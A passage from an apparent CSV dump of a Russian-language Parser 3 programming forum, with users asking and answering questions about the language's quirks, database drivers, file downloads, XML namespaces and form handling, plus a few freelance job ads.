да и вообще, открою страшную тайну: на самом деле сейчас locals это совсем НЕ то-же самое, что и объявление всех переменных, используемых в методе, локальными.\
\
locals говорит, что в случае ЗАПИСИ в неопределённую переменную эту переменную надо автоматически сделать локальной.\
\
т.е. если есть переменная _класса_, у метода написано [locals], и переменной с таким именем в методе ничего не присваивается, то при обращении к ней произойдёт обращение к переменной класса."
"75133","Надо тогда доку поправить, сейчас там заблуждение:\
[quote]Так, указанная опция locals автоматически объявит локальными все переменные во всех методах определяемого класса. Если она указана, то для обращения к полям объекта или класса необходимо пользоваться системной переменной self. [/quote]\
и\
[quote]Если в методе явно объявить локальную переменную locals, это будет равносильно объявлению всех переменных, используемых в нем локальными. \
Для обращения к переменных класса или объекта в этом случае необходимо использовать self.[/quote]\
\
Твой ответ про такое поведение locals для меня не новость, просто в очередной раз наткнулся и решил высказаться.\
\
В идеале, при locals обращение к любым полям объекта/класса и даже вызов методов класса должен быть в виде: $self.field, ^self.method[]."
"75135","Но я привык к такой схеме. Сразу видно, что куда откуда.\
Ведь почти везде так получается, что в начале вызова метода указывается имя класса (системного или пользовательского) или имя объекта.\
Если бы locals накладывал такие \"ограничения\", лишних self пришлось бы написать не так много."
"75136","http://www.codingbox.org/?page_id=2"
"75137","Или есть большое количество англоязычных пользователей? :)"
"75138","Английский в общем-то понимает большинство. А вот русский - только русские :) Я просто не хочу обрезать возможность вхождения людей с другим языком в проект (т. к. parser.ru/en/ все же существует)\
\
alpha все же для доработки и доточки\
\
Когда созреем до beta - все материалы сопроводительные переведу и на русский"
"75139","[code]$string[$NULL]\
\
$join[^string.split[,;lv;name]][/code]\
\
Вышеприведенный код возвращает таблицу с 1 пустой строкой. Хотя я ожидал увидеть 0 строк, т.е. пустую таблицу.\
\
Именно так происзодило в версиях вплоть до 3.4.0"
"75142","[code]$config[^table::load[nameless;somefile.cfg;\
	$.separator[=]\
	$.encloser[\"]\
]][/code]\
\
[b]somefile.cfg[/b]\
[code]\
key_one=\"value one\"\
key_two=\"value two\"\
[/code]\
\
Если в somefile.cfg последняя строка содержит значение, то в разборщик добавляет к этому значению лишний символ - $.encloser в конце строки:\
[code]value two\"[/code]\
\
Если последняя строка в файле пустая, то такой проблемы не возникает."
"75143","Подскажите, пожалуйста, как с помощью парсера быстро извлечь \"05\" из MySQL-ответа \"2011-05-03\"?\
\
Простите за детсад. Заранее спс."
"75145","Например так:\
\
$str[2005-11-07]\
$matches[^str.match[^^\\d{4}-(\\d{2})-\\d{2}^$]]\
$month[$matches.1]\
\
Или так:\
\
$str[2005-11-07]\
$parts[^str.split[-;lh]] \
$month[$parts.1]\
\
А Почему бы не выбирать сразу в SQL запросе его? :)\
\
SELECT MONTH(created_at) AS month, title, description FROM mytable ?"
"75146","Исправление тестируется."
"75147","нормально"
"75148","http://aktar3.sibarit.ru/ - тут список обновлений и скачать. \
Вкратце - ПИ для БД, ЧПУ с ID, в полотора раза большая производительность (пока мне кажется, что по произведению возможностей на производительность Актар - на первом месте в мире среди готовых решений), улучшенный инсталлятор.\
Но реально нужен PHP-инсталлятор, который будет скачивать различные сборки Парсера и проверять их на ошибочность на данной конкретной системе. \
В ближайших планах - зародыши персонального блога и картографа.\
\
Еще требуется программист-фрилансер на Парсере, резюме шлите на george@sibarit.ru"
"75149","Хочу найти человека или четыре. Со своей развитой системой управления сайтами, с готовыми модулями, с правами, статьями, галереями картинок, опросами, новостями и блогами.\
\
Хочу отдать вам макет в PSD, ТЗ и получить на выходе готовый сайт, валидный, быстрый и не глючный. JQuery и вообще всякие фреймворки и js — желательны.\
\
Напишите мне, покажите мне ваши админы, расскажите, что вы делали и сколько вы хотите денег. laots@rambler.ru"
"75150","В командной оболочке BASH в Linux можно написАть такой вот цикл:\
[code]while read line; do\
echo $line\
done < any.txt[/code]\
Этот простейший цикл позволяет построчно считать файл any.txt и построчно же его вывести. Как можно осуществить такое в Parser 3?\
Копал по форуму вроде бы с усердием, но ничего похожего не нашел.\
В общем-то задача состоит в построчном считывании текстового файла и вывода каждой строки в <tr>td>строка</td></tr>\
Заранее спасибо."
"75153","На какую электронку сбросить предложение? laots@rambler.ru работает?"
"75154","... код в результате должен получиться примерно такой:\
\
[code]\
  $res[^curl:load[\
   $.url[http://someurl.nu]\
   $.post(1)\
   $.httppost[\
     $.fileparam[^file::load[binary;image.jpg]]\
     $.textparam[test]\
   ]\
  ]]\
[/code]\
\
В этом случае запрос будет передан методом post с enctype=multipart/form-data.\
\
p.s. А еще можно не мучаться с опциями, а взять готовый [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.p]класс-обвязку для curl[/url] (описание опций [url=http://code.google.com/p/parser3-pf/source/browse/trunk/pf/io/pfCFile.txt]есть отдельно[/url]). Тогда можно будет просто писать:\
\
[code]\
  $res[^pfCFile:load[text;http://someurl.nu;\
    $.method[post]\
    $.enctype[multipart/form-data]\
    $.form[\
      $.fileparam[^file::load[binary;image.jpg]]\
      $.textparam[test]\
    ]\
  ]]\
[/code]\
\
А код для вопроса из корневого сообщения ветки будет таким:\
\
[code]\
  $file1[^pfCFile:load[text;https://store.artlebedev.ru/login/;\
      $.form[ \
         $.Username[$form:login] \
         $.Password[$form:password] \
         $.btnSubmit[Войти] \
      ] \
   ]] \
[/code]"
"75155","Спасибо за ответ. \
Чтобы [b]^table.menu[/b] сработало, текст необходимо будет переформатировать ( <td>=tab-delimited и <tr>=\\r ). Какой-то слишком \"обходной\" путь для простейшей операции :( Что ж, имеем то, что имеем. Будем разбираться."
"75156","1. $таблица_с_содержимым[^text.split[^#0A][lv]]\
\
2. ^text.match[^^(.*)^$][mg]{тут в $match.1 -- содержимое строки, можете оборачивать его в <td>}\
\
да, понимаю, что это не настолько оптимально, чем построчная обработка файла, но... что есть."
"75157","<irony>почему в логотипе CMS олень бегущий на задних ногах? :) </irony>"
"75158","На самом деле, CMS-ка заинтересовала, хочу попробовать, привлекает легкость и лаконичность и самое главное - сходу понятное внутренее описание!"
"75159","И по результатам готов поделиться впечатлениями как это воспринялось глазами стороннего пользователя/разработчика на Parser3 который знакомится с этой CMS."
"75160","Почему http://aktar3.sibarit.ru/login/?upaction=register\
при бесконечном релоаде страницы капча всегда одинакова?\
У меня это 3687"
"75161","И человек, и робот взаимодействуют с капчей путем отправки сообщения, которое они на ней видят. Именно в момент отправки стирается старое значение. А делать это чаще - впустую нагружать процессор."
"75162","Класс, кстати, можно переписать для parser 3.4.1 ;)\
и добавить туда ещё XML."
"75164","Михаил, спасибо за практический пример. Лучше один раз увидеть, чем 100 раз услышать. С Parser только начал знакомиться, отсюда и \"уровень\" вопросов."
"75165","^table::load[nameless;имя файла;$.separator[нереальное_сочетании]]"
"75166","P.S. ой чувствую, что в случае UTF-ной буквы в качестве разделителя какой-нить баг вылезет :)"
"75167","а решение вполне красивое"
"75168","$answer(42)\
^switch(true){\
	^case($answer){true}\
	^case(!$answer){false}\
	^case[DEFAULT]{!true && !false}\
}\
Вы не поверите..."
"75169","Нужен программист на Parcer для доработки блоков существующего сайта. www.nahalyavu.com Надо добавить некоторые новые опции, например, Календарь Событий, Форум, Аукцион и прочие блоки. \
\
Есть краткое описание и дизайн. Развёрнутого Технического Задания на все блоки пока нет, но будет писаться по мере выполнения блоков. \
\
Программист также должен знать MySql, уметь работать с базами данных. В идеале, хотелось бы посмотреть код и портфолио. \
\
Объявите свои расценки. Можно писать на alexrosl@hotmail.com Объём работы примерно на месяц. Объём работ оценил программист который начинал делать сайт. Программист который начинал делать будет всё объяснять и давать необходимые доступы. Оценка объёма работы достоверная."
"75171","В итоге получилось вот что:\
[code]$file[^file::load[text;http://somedomain.org/txt/any.txt; $.timeout(5)]]\
$text[^taint[as-is][$file.text]]\
$number[0]\
$abc[^text.split[^#0A][lv]]\
<table border=1 cellspacing=0 width=250px>\
^text.match[^^(.*)^$][gm]{\
$number[^eval($number+1)]\
<tr><td style=\"width:25px\">${number}.</td>\
<td style=\"width:225px\">$match.1</td></tr>\
}\
</table>[/code]\
Этот код выводит текст в двухколоночную таблицу с нумерацией строк. как говорится: \"Заработало!\". Всем спасибо, Михаилу особенно :)"
"75172","в общем фишка в том, что bool можно сравнить с int/double двумя способами:\
1. привести int к bool и результат сравнить с bool ((42 => true) == true) -> true\
2. привести bool к int и результат сравнить с int (42 == (true -> 1)) -> false\
\
по коду ожидается первый вариант, но по факту работает второй (т.е. switch сравнивает или string-и или double-ы).\
т.е. true превращается в 1.0 и далее эта единица сравнивается с вариантами всех case: с 42 и 0 (!42 -> 0).\
\
понятно, что ничего не находится и срабатывает DEFAULT.\
\
наверное надо будет изменить логику и в случае присутствия в switch значения типа bool, действовать по первому варианту.\
\
а пока:\
[code]\
^case($answer){true}\
[/code]\
=>\
[code]\
^case(^answer.bool[]){true}\
[/code]\
или\
[code]\
^case($answer!=0){true}\
[/code]\
или\
[code]\
^case(!!$answer){true}\
[/code]"
"75173","[code]\
$number[0]\
...\
$number[^eval($number+1)]\
[/code]\
=>\
[code]\
$number(0)\
...\
^number.inc(1)\
[/code]\
\
P.S. я и-бы всё-таки воспользовался-бы вариантом со split + menu, а не match-ем."
"75174","я вижу не красоту, а хак в виде попыток загрузить текст в таблицу, попытавшись не наступить на грабли в виде попавшегося в обрабатываемом тексте separator-а, который разобьёт строку и поместит её содержимое в несколько ячеек.\
\
это решении уж точно ничем не лучше split-а по символу перевода строки."
"75175","Так уж повелось что решение любой +/- нетривиальной задачи сводится к написанию хаков. Для меня таблица более очевидный из них..."
"75176","Здравсвтуйте, посоветуйте пожалуйста, как сделать поиск по нескольким параметрам. \
В форме есть radio и checkbox. \
MySQL.\
\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\" name=\"form\">\
  <input name=\"r\" type=\"radio\" value=\"radiobutton1\">1\
  <input name=\"r\" type=\"radio\" value=\"radiobutton2\">2\
  <input name=\"r\" type=\"radio\" value=\"radiobutton3\">3\
  <input name=\"r\" type=\"radio\" value=\"radiobutton4\">4\
\
  <input type=\"checkbox\" name=\"check\" value=\"1\" />\
  <input type=\"checkbox\" name=\"check\" value=\"2\" />\
  <input type=\"checkbox\" name=\"check\" value=\"3\" />\
  <input type=\"checkbox\" name=\"check\" value=\"4\" />\
\
<input name=\"yo\" type=\"submit\" value=\"yo\">\
</form>\
[/code]\
\
Вариантов поиска несколько: \
- не выбрано ничего и выводятся вся таблица\
- выбран только radio\
- выбран один или несколько checkbox\
- выбраны и radio, и checkbox \
\
Как сделать, посоветуйте"
"75177","[code]^if(def $from:r){\
	^if($form:r eq 'radiobutton1'){...}\
}\
^if(def $form:check){\
	$tables[$form:tables.check]\
	^if(^tables.locate[field;..value...]{...}\
}[/code]\
\
и на будущее: [b]<label>[/b]<input type=\"checkbox|radio\"> text [b]</label>[/b]"
"75178","Parser 3.4.1 MacOS\
\
[code]	$json_string[{\
		\"a1\" : 1200000000000000000\
	}] \
\
	$h[^json:parse[$json_string; \
	   $.double(false)\
	]][/code]\
\
Возвращает:\
\
{\"a1\" => \"1652031488\"}\
\
А должно придти как строка \"1200000000000000000\""
"75179","если там будет 1200000000000000000.0, то всё сработает как надо :)))\
\
P.S. преобразование строки в int делает сама либа (JSON_parser) и при этом она не предоставляет ключика для получения этого int в виде строки, какой она предоставляет для doulbe-а."
"75181","Требует своей сборки драйвера для MySQL?\
libparser3mysql.so: can't open the module"
"75182","Здравствуйте! Помогите, пожалуйста, разобраться. Делаю простую функцию показывающую все классы и их методы:\
\
[code]$classes[^reflection:classes[]]\
^classes.foreach[class;methoded]{ \
	<h3>$class</h3>\
	$methods[^reflection:methods[$class]]\
	^methods.foreach[method_name;origin]{ \
		<p>$method_name ($origin)</p>\
	}\
}[/code]\
\
В результате получаю ошибку при выполнении [code]^methods.foreach[/code]\
\
[quote]foreach\
\
is 'string', not a method or junction, can not call it[/quote]\
\
Причем если в [code]$methods[^reflection:methods[$class]][/code] вместо [code]$class[/code] подставить имя какого-нибудь класса, то код будет работать.\
\
В чем может быть проблема?"
"75183","... А ошибка говорит о том, что Парсеровский драйвер не может найти библиотеку майэскюэля. Надо проверить есть ли библиотека на диске и/или прописать правильный путь в auto.p."
"75184","^reflection:classes[] выводит и системные классы тоже.\
\
Парсер падает на переборе методов класса hash:\
[code]$methods[^reflection:methods[hash]]\
^methods._count[] -- ошибка[/code]\
\
Можно обойти проблему:\
[code]^if($class ne 'hash'){\
	$methods[^reflection:methods[$class]]\
	^methods.foreach[method_name;origin]{ \
		<p>$method_name ($origin)</p>\
	}\
}\
или более универсально\
^try{\
	$methods[^reflection:methods[$class]]\
	^methods.foreach[method_name;origin]{ \
		<p>$method_name ($origin)</p>\
	}\
}{\
	$exception.handled(true)\
	<p>\"проблемный\" класс $class</p>\
}[/code]"
"75186","В том то и дело, что уже libmysqlclient.so (755) и  libparser3mysql.so (755) в папке cgi-bin/lib/ , а в auto.p: mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so (скопировал с /usr/local/mysql/ , эффект остался тотже)"
"75189","Для класов, содержащих метод foreach, мы получаем хеш с полем foreach, которое перекрывает метод foreach. Насколько я понимаю, обойти это сейчас никак не получится - видимо в следующей версии Парсера, надо сделать так, чтобы reflection:methods возвращал не хеш, а таблицу."
"75190","смотрел верно а в конфиг постаринке на автомате вбивал. Спасибо"
"75193","Есть сайт на парсер, версию точно не скажу, но скорее всего 3.2.3(2), много страниц. работало несколько лет нормально, теперь вдруг, проблема - парсер.exe на виндовом хостинге жрет почти весь процессор, в списке процессов видно много парсеров, которые не хотят умирать. Куда можно для начала посмотреть?"
"75195","возможно код написан неоптимальным образом и работы ему с течением времени сильно прибавилось (например появилось много новых данных в БД).\
\
в первую очередь надо понять, на каких страницах возникает проблема. для этого можно писать в лог файл что-то уникальное для запроса (^math:uuid[]) в начале работы (/auto.p/@auto[]) + в конце работы (/auto.p/@postprocess[]).\
спустя какое-то время, проанализировав этот лог, вы сможете понять, какие процессы начали работать, но не закончили. (чтобы не ковыряться в больших логах можно то-же самое организовать в БД: в начале сессии пишите в неё UID+URI+время, в конце -- удаляете запись по UID. то, что останется в БД -- незавершившиеся процессы, их-то URI вам и нужны).\
\
ещё вариант анализа: использовать Erusage.p (см. примеры). правда этот вариант не поможет найти зависающие процессы, но он покажет, если с сайтом что-то глобально не в порядке. в лог будет писаться время работы страниц и используемая память. можно поставить \"пороги\", чтобы в лог попадали только проблемные страницы.\
\
ещё надо выяснить: не менял-ли чего хостер. а то мало-ли, всякое бывает.\
\
P.S. версия 3.4.0 более оптимально использует память и несколько быстрее, однако в ней есть некоторое количество обратно-несовместимых изменений, т.е. почитайте новости и посмотрите, может вам для обновления необходимо что-то править в коде."
"75196","Не как не могу сообразить как получить данные например строки date1\
\
[code]\
$d[^xdoc::create{<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<doc xmlns=\"http://api.yandex.ru/metrika/\"><date2>20110521</date2><date1 attr=\"0\">20110520</date1><data count=\"1\"><row><denial>0.3249</denial><visits>197</visits><page_views>544</page_views><date>20110520</date><visit_time>547</visit_time><depth>2.7614</depth><new_visitors>77</new_visitors><visitors>77</visitors></row></data><id>123</id><totals><denial>0.3249</denial><visits>197</visits><page_views>544</page_views><visit_time>547</visit_time><depth>2.7614</depth><new_visitors>77</new_visitors><visitors>77</visitors></totals></doc>}] \
\
^d.selectSingle[doc/date] \
^d.selectString[string(/doc/date)]\
\
[/code]\
\
\
Помогите пожалуйста разобраться. Спасибо."
"75197","У вас же объявлен xmlns. Соотв. надо объявить его в хеше пространства имен используя search-namespaces.\
[code]\
^d.search-namespaces.add[ \
   $.s[http://api.yandex.ru/metrika/] \
]\
# Желаемое значение date 1\
^d.selectString[string(//s:date1)]\
[/code]"
"75198","Спасибо. Хостер ничего не менял, пока обновился на последнюю версию Парсера, если проблема не исчезнет, придется прикручивать логирование."
"75199","или «пока гром не грянет...» %-)"
"75200","по примеру http://www.parser.ru/docs/lang/formfiles.htm\
подскажите, пожалуйста,\
правильно ли, что хэш создаётся только если файл присутствует как минимум в первом поле,\
если заполнены все остальные кроме первого, результат 0 ?"
"75201","в документации некорректность (спасибо, исправлю).\
да, действительно, в $form:picture будет значение только к том случае, если в первом поле picture будет выбран файл.\
\
т.е. хеш $form:files.picture создаётся правильно, а в заблуждение вас ввела $form:picture.\
\
т.е. проверку надо делать не так:\
[code]^if(def $form:picture){...}[/code]\
, а так:\
[code]^if($form:files.picture){...}[/code]"
"75202","действительно ввело в заблужение )))"
"75203","Уважаемые коллеги. Суть проблемы в следующем: нужно сделать в он-лайн магазине превью товаров разных размеров. Превью не желательно сохранять в файлах, т.к. их будет много и они будут разные (по размеру). Хотелось бы делать их, как говорится, \"на лету\". У меня есть хороший скрипт на php который как раз это делает. По руководству уважаемого PAFа (http://parser.ru/forum/?id=33412) сумел прикрутить php скрипт к auto.p парсера и передать ему нужные параметры методом GET. Теперь на месте вызова функции с прикрученным скриптом должна по идее появится картинка нужного размера, но она не появляется. Я подозреваю все дело в заголовках ответов, скажите плизз куда копать. На всякий случай привожу пример кода:\
\
[code]\
@create_img[]\
$params[\
  $.method[GET]\
  $.form[ \
    $.src[image.jpg]\
    $.w[40]\
    $.h[100]\
    $.q[70] \
  ] \
]\
		\
$file[^file::load[text;$server_name/php/thumbs.php;$params]]\
^untaint{$file.text}\
[/code]\
\
Заранее благодарен за советы"
"75204","если у вас есть php скрипт, который уже умеет генерить картинки, то и указывайте в своём html-е <img src=\"/path/to/image.php\" />\
\
а чем будет генериться html -- дело десятое (хоть parser, хоть php, хоть вообще статика)\
\
применение в этом месте прослойки в виде parser-а мне видится вообще странным занятием.\
но и такой вариант можно заставить работать, нужно делать $file[^file::load[binary;...]] (у вас же получается картинка, т.е. бинарный файл) и выдавать не в виде ^untaint{$file.text} (сам буквы \"text\" не смутили?), а в виде $response:body[$file]"
"75205","Спасибо. Слова text смутили. Объясняю зачем парсер: \
например заказчик говорит: \"Сделайте так, что бы я сам мог менять размеры превью\". Я ему говорю: \"хорошо\" и делаю некий файл конфигурации который он сам потом будет редактировать. В файле указываю переменные: ширину, высоту и качество картинки - которые должны считываться и вставляться в get-запрос для php-скрипта. Иными словами - хорошо, если ширина, высота, качество известны заранее - тогда понятное дело - можно вставить вызов прямо в html? но если они могут меняться? \
\
$response:body[$file] - меняет заголовок для всего документа, мне же надо изменить заголовок только для картинки.\
\
Хм, кстати, можно ведь генерировать только строчечку get запроса средствами парсера, а вот сам скрипт вставлять уже, как вы и предложили в html ))"
"75206","Большое спасибо за наводку. Все получилось.\
\
Кстати - такой прием может стать хорошей альтернативой всяким nconvert-ам и imagemagik-ам."
"75207","Никогда ещё не посылал письма Парсером. Пытаюсь сделать простейшую форму обратной связи. Появляется следующая ошибка: '/usr/sbin/sendmail' reported problem: UNKNOWN (69)\
\
Хостер заверил, что sendmail работает, проверяли на php.\
\
Подскажите пожалуйста в чём проблема? И что лучше использовать sendmail или SMTP?\
\
[code]^if(def $form:name && ^isEmail[$form:email] && def $form:message){\
	^mail:send[\
      		$.from[$form:email]\
      		$.to[admin@domen.ru]\
      		$.subject[Обратная связь сайта domen.ru от $form:name]\
      		$.text[$form:message]\
	]\
	Ваше сообщение успешно отправлено!\
}{\
	<form method=post>\
		Ваше имя:<br><input type=text name=\"name\" value=\"$form:name\" size=30><br><br>\
		Ваш e-mail:<br><input type=text name=\"email\" value=\"$form:email\" size=30><br><br>\
		Ваше сообщение:<br><textarea name=\"message\" value=\"$form:message\" rows=10 cols=50></textarea><br><br>\
		<input type=\"submit\" value=\"Отправить\">\
	</form>\
}[/code]"
"75208","Здраствуйте уважаемые гуру и монстры парсера, подскажите плиз в чем проблема?\
вот такая конструкция дает ошибку is 'table', not a method or junction, can not call it:\
[code]\
^table.menu{\
 ^metod[parametr]\
....\
}\
[/code]\
а вот такая отрабатывает нормально:\
[code]\
^table.menu{\
....\
 }\
^metod[parametr]\
[/code]\
т.е внутри menu не работает, за пределами все в порядке...\
Заранее спасибо за ответ. Сорри если вопрос идиотский..."
"75209","Проблема уточнена... Ошибку вызывает конструкция которая находиться в вызываемом методе:\
[code]\
^connect[$connect_string]{$offers_counter[^table::sql{\
....\
}]}\
[/code]\
Причем если сделать например:\
[code]\
$string(^connect[$connect_string]{^string:sql{\
....\
}})\
[/code]\
то ошибка уже:\
[code]\
is 'double', not a method or junction, can not call it\
[/code]\
То есть если я правильно понял проблема в обращении к базе? Что делать?"
"75212","1. парсер точно указывает строку и позицию, где возникла проблема (надо включить unhandled_exception_debug) и стек\
2. если не разберётесь -- надо привести больше кода, т.к пока причина не понятна (понятно, что вы пытаетесь \"вызвать\" что-то, что не является junction-ом, а является table или double, как во втором случае, но в приведённом коде самого вызова нет)."
"75213","Выбирая хостинг, наткнулся на такой текст:\
\
http://www.hoster.ru/faq\
Хостинг / Возможности хостинга / Поддерживается ли работа Parser?[quot]\
В коде Parser 3 существуют ошибки, которые приводят к проблемам в работе на современных операционных системах, и мы не можем гарантировать его работу на нашем хостинге.\
\
По вопросам поддержки Parser 3 обращайтесь на форум разработчиков: http://www.parser.ru/forum\
\
Мы не рекомендуем пользоваться конкретно этим продуктом, т.к. весьма вероятны проблемы с переносом сайтов.\
[/quot]\
\
Признаться, меня лично весьма огорчило данное заявление. Не представлено никаких доказательств по поводу \"ошибок в коде\", без подтвержденных оснований даются негативные рекомендации.\
\
Будет ли какая-нибудь реакция со стороны Студии?"
"75215","[quote]1. парсер точно указывает строку и позицию, где возникла проблема (надо включить unhandled_exception_debug) и стек[/quote]\
собственно полное сообщение об ошибке:\
[code]offers_counter\
is 'table', not a method or junction, can not call it\
Z:/home/mebel/www/classess/directory/directory_basic_content.p(210:2) \
[/code]\
в строке 21 находиться ^offers_counter[1]\
[quote]2. если не разберётесь -- надо привести больше кода, т.к пока причина не понятна (понятно, что вы пытаетесь \"вызвать\" что-то, что не является junction-ом, а является table или double, как во втором случае, но в приведённом коде самого вызова нет).[/quote]\
ниже код откуда вызывается offers_counter (кусок, убрал запросы...):\
[code]\
^connect[$connect_string]{$priority[^table::sql{\
....\
}]}\
\
<table border=\"1\" width=\"100%\">\
<tr>\
<td>Название</td>\
<td>Адрес</td>\
<td>Краткая информация</td>\
<td>Телефон</td>\
<td>Регион</td>\
<td>Город</td>\
<td>Товарные предложения</td>\
</tr>\
\
^priority.menu{\
^connect[$connect_string]{$firms_desc[^table::sql{\
.......\
}]}\
\
^firms_desc.menu{\
<tr>\
<td>$firms_desc.company_name</td>\
<td>$firms_desc.address</td>\
<td>$firms_desc.company_short_info<br>\
<a href=\"/directory/${address_string}company_$firms_desc.company_id/show_details/\">Подробная информация о компании\
</td>\
<td>\
$firms_desc.phone_1\
</td>\
<td>\
-\
</td>\
<td>\
#при постоянной в параметре то же не работает\
^offers_counter[1]\
</td>\
</tr>\
}\
##А вот тут работает!!!\
#^offers_counter[1]\
}\
##И тут работает!!!\
#^offers_counter[1]\
</table>\
[/code]\
ну и собственно сам offers_counter полностью:\
[code]\
@offers_counter[company_id_local]\
$connect_string[$MAIN:connect_string]\
^connect[$connect_string]{$offers_counter[^table::sql{\
SELECT\
  Count(`price`.`model_id`) AS `model_count`\
FROM\
  `model` INNER JOIN\
  `price` ON `price`.`model_id` = `model`.`model_id`\
WHERE\
  `price`.`show_id` > 0 AND   \
  `model`.`show_id` > 0 AND\
  `price`.`company_id` = $company_id_local\
}]}\
\
^if(!def $offers_counter || $offers_counter.model_count==0){\
Компания не разместила товарные предложения\
}{\
Товарных предложений - $offers_counter.model_count \
}\
[/code]\
я ничего криминального не вижу... Если из offers_counter убрать любое упоминание об sql-запросах то все работает... Так же работает за пределами ^firms_desc.menu{}"
"75217","В методе @offers_counter создаётся переменная с таким же названием — она перекрывает метод.\
Её надо объявить локальной, но лучше переименовать.\
\
В menu не работает, потому что в первой итерации происходит описанное выше."
"75220","Из ихнего же FAQ\
\
[i]Медленно обрабатывается запрос.[/i]\
Возможно, запрос, написанный Вами, к базе данных не оптимизирован. Поработайте над кодом запроса. Упростите его.\
\
[i]Часть сайта отображается в неправильной кодировке.[/i]\
Уточняйте кодировку передаваемого текста в MySQL.\
Задавайте явное значение кодировкам страницы и данным, используемым MySQL.\
Следите за тем,чтобы они были одинаковыми.\
За дополнительной информацией обращайтесь к документации."
"75221","Даже у меня Парсер прекрасно работает на ~десятке хостингов, в том числе [даже] на моих виндовых серверах. Трудности случаются только при первичной настройке, и то решение занимает обычно 15-20 минут (из которых 80% - faq да форум перечитать).\
\
На необоснованные высказывания реагировать - только время терять спустую"
"75222","[code]$file[^file::create[text;${tAddress.name}[b].vcf[/b];$sFileContent]]\
$response:download[$file][/code]\
\
Хочу, чтобы на выходе был файл \"Иванов.vcf\", но вместо этого парсер выдаёт на скачивание файл \"Иванов\" (без расширения).\
\
Почему выделенный в коде текст не учитывается? Когда если вместо [code]${tAddress.name}.vcf[/code] подставить, скажем, [code]123.vcf[/code], то всё будет работать. И ощущение как будто бы литералы внутри класса работают как-то иначе, чем вне его."
"75223","только что проверил такое:\
[code]\
$var[проверка проверка]\
$file[^file::create[text;${var}.vcf;asd]]\
$response:download[$file]\
[/code]\
всё работает с 3.4.0, 3.4.1 в Opera 11, IE9\
\
откуда приходят данные в tAddress?\
какая кодировка в $response:charset?\
пробовали подставлять не 123.vcf, а \"Иванов.vcf\"? (возможно в вашем случае есть какие-то проблемы с русскими буквами)"
"75224","Но вероятно вы не совсем поняли, что я имел ввиду. Действие происходит внутри пользовательского класса. Имя VCF файла подставляется динамически, а не статически. В этом случае он не замечает [b].vcf[/b]. Кроме того переменные с числами (только внутри класса) приходится всегда делать ^form:id.int(0), иначе выдаёт ошибку.\
Попробуйте для тестирования создать класс с моим примером, подключить и запрашивать метод из класса."
"75225","Все кодировки UTF-8. Вряд ли с ней, т.к. русское имя выдаёт же...\
А $tAddress это:\
[code]^connect[$MAIN:connect-string]{\
	$tAddress[^table::sql{SELECT	id,\
					name,\
					email,\
					position,\
					tabnum\
				FROM	addressdb\
				WHERE	id=^form:vcf.int(0)\
}][/code]\
\
К слову $tAddress.name содержит в себе \"Иванов Иван Иванович\", но почему-то на выходе получается только \"Иванов\" %("
"75226","Прочитал тут топик http://habrahabr.ru/blogs/nginx/119582/\
\
Как автор утверждает - не важно, что за нджинксом, главное - передавать данные в json,\
\
может кто-нибудь уже игрался? как впечатления?"
"75227","я попробовал подставлять переменную (поле таблицы или переменная -- должно быть без разницы).\
я попробовал разные taint.\
я попробовал 3.3.0\
я попробовал UTF-8 (было 1251)\
проблемы не вижу.\
попробуйте и вы ручками задать русское имя файла с пробелами (как это делал я), при этом предварительно создайте отдельный небольшой тестовый файл.\
ещё можете попробовать посмотреть телнетом или каким-нить firebug-ом, что именно вам отдаёт парсер. я почти уверен, что там будет полное имя файла но... не заэскейпленное.\
\
P.S. ставить Fx и IE8 не хочу. может кто-нить ещё проверит в них."
"75228","Выполнил:\
[code]$var[проверка проверка]\
$file[^file::create[text;${var}.vcf;asd]]\
$response:download[$file][/code]\
\
Выдаётся файл именем \"проверка\" без расширения.\
\
UPD: но в IE8 выдаёт \"РїСЂРѕРІРµСЂРєР°_РїСЂРѕРІРµСЂРєР°.vcf\". Так выходит проблема с кодировкой или с браузером? Странно всё это."
"75229","Парсер, как шаблонизатор, гораздо мощнее и удобнее CT++. :)"
"75230","Хочется скорости, да побольше-побольше)"
"75231","Ну вот например:\
http://www.parser.ru/forum/?id=75059"
"75232","В FF тоже обрезает до первого пробела.\
\
Проблема в том, что заголовок формируется без кавычек вокруг имени файла:\
Content-Disposition: attachment; filename=вася пупкин.vcf\
\
С ними было бы ок. В [url=\"http://www.ietf.org/rfc/rfc2231.txt\"]доке[/url] говорится следующее:\
[quote]Note that quotes around parameter values are part of the value syntax; they are NOT part of the value itself.[/quote]"
"75234","Но только при условии, что отдаётся действительно текстовый файл.\
[quote]$file[^file::create[text;;$sFileContent]]\
$response:download[$file.text]\
$response:content-disposition[attachment^; filename=\"${tAddress.name}.vcf\"][/quote]\
Тут важный момент, что мы передаём в download не объект типа файл, а его текст.\
\
Но можно ещё проще:\
[quote]$file[$sFileContent]\
$response:download[$file]\
$response:content-disposition[attachment^; filename=\"${tAddress.name}.vcf\"][/quote]"
"75235","А так имена файлов в ИЕ на первый взгляд выводит нормально. Но длинные имена обрезает слева. И кодировка при открытии в MS Outlook кракозябрится. А при file::create можно кодировку задать, чтобы в Аутглюке всё правильно показывалось."
"75236","Обрезка слева — это интерфейсная проблема IE, а точнее диалогового окна загрузки.\
\
Всеми необходимыми заголовками можно управлять через $response:[header].\
Наверняка нужно выставить правильный content-type или ещё чего.\
Сравните заголовки при file::create/download и создайте необходимые."
"75237","Не могу решить простейшую задачку - совсем запутался(\
Из базы выводятся значения и чекбоксы.\
Как сделать, чтобы выводился список чекбоксов и в нём были отмечены значения из базы.\
Попытался сделать menu в menu... получается дребедень.\
\
[code]\
^edit.menu{\
  ^if($type){\
    ^type.menu{\
      <input type=\"checkbox\" name=\"$type.typesid\" ^if($edit.id eq $type.typesid){checked=\"checked\"} value=\"1\">$type.typesname<br />\
    }\
  }\
}\
[/code]\
\
Этот код выводит\
[x] 1\
[ ] 2\
[ ] 3\
\
[ ] 1\
[x] 2\
[ ] 3\
\
А надо\
\
[x] 1\
[x] 2\
[ ] 3\
\
Помогите, люди добрые."
"75238","но вы забыли сообщить что именно у вас не получается ;)"
"75239","Указал же)\
\
выводится так:\
[x] 1\
[ ] 2\
[ ] 3\
\
[ ] 1\
[x] 2\
[ ] 3\
\
А надо чтобы вот так:\
\
[x] 1\
[x] 2\
[ ] 3"
"75240","если я правильно понял, что где находится, то надо примерно так:\
[code]\
^type.menu{\
